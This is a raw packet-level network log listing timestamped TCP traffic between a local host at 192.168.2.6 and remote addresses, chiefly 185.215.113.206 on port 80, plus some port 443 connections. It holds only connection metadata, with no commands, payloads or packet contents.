Oct 30, 2024 15:59:41.730839968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.730863094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.730885983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.730902910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.804922104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.804938078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.804950953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.804964066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805001020 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805032969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805042982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805046082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805058956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805068970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805095911 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805110931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805140018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805152893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805165052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805176020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805180073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805198908 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805222988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805254936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805265903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805278063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805298090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805322886 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805334091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805345058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805356979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805399895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805877924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805891037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805903912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805932045 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805943966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805946112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.805955887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805969000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805982113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.805984974 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806005001 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806025028 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806057930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806070089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806150913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806169987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806176901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806189060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806195021 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806202888 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806216002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806219101 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806229115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806238890 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806276083 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806281090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806293011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806310892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806323051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806333065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806344986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806349039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806366920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806382895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806469917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806483030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806493998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806508064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806523085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806549072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806627035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806639910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806651115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806662083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806672096 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806674957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806687117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806698084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806700945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806710958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806726933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806737900 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806766987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806814909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806827068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806838036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806864023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806890965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806917906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806929111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806941986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806953907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806965113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.806971073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.806988955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807014942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807070971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807082891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807094097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807130098 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807147026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807190895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807203054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807214022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807229042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807271957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807290077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807301998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807318926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807329893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807331085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807331085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807359934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807491064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807517052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807527065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807543993 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807570934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807622910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807666063 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807676077 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807688951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807709932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807729959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807765007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807776928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807786942 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807806015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807821035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807847977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807859898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807871103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807887077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807898998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807900906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807914019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807948112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.807972908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.807985067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808011055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808037996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808063984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808074951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808085918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808099031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808110952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808119059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808145046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808163881 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808367014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808398008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808409929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808423042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808448076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808460951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808470964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808481932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808489084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808495045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808535099 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808568001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808579922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808619022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808626890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808636904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808648109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808660030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808666945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808680058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808707952 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808736086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808748007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808798075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808809042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808820009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808830976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.808835030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808846951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.808866978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809022903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809065104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809097052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809109926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809159040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809160948 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809170961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809184074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809196949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809225082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809242964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809360981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809372902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809385061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809403896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809410095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809417009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809428930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809432983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809442997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809453964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809461117 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809482098 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809490919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809501886 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809535980 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809602976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809613943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809623957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809637070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809648037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809648991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809683084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809802055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809813023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809823990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809834003 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809845924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809845924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809858084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.809874058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.809900045 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.846302986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.846316099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.846328020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.846342087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.846398115 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.846442938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.860963106 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.861664057 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.861726046 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.862571955 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.862588882 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.866743088 CET	49813	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.866766930 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.867024899 CET	49813	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.867223978 CET	49813	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:41.867235899 CET	443	49813	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:41.920521021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920562983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920595884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920614004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920665979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.920676947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920690060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920690060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.920741081 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.920799971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920811892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920823097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920835972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920847893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920869112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.920885086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.920934916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.920980930 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921022892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921034098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921049118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921056032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921061039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921076059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921082973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921098948 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921143055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921503067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921514988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921525002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921538115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921549082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921549082 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921562910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921586037 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921598911 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921727896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921737909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921751022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921762943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921775103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921786070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921787024 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921797991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921812057 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921827078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921863079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921905041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921947002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921958923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921968937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921982050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.921993017 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.921996117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922008991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922027111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922199011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922210932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922223091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922233105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922240973 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922245026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922257900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922270060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922272921 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922282934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922293901 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922295094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922306061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922307968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922337055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922362089 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922518969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922530890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922542095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922553062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922564030 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922573090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922575951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922589064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922600031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922600031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922610998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922614098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922625065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922641993 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922668934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922833920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922846079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922856092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922867060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922878981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922890902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922892094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.922910929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.922925949 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.923103094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923115015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923125029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923136950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.923149109 CET	80	49716	185.215.113.206	192.168.2.6
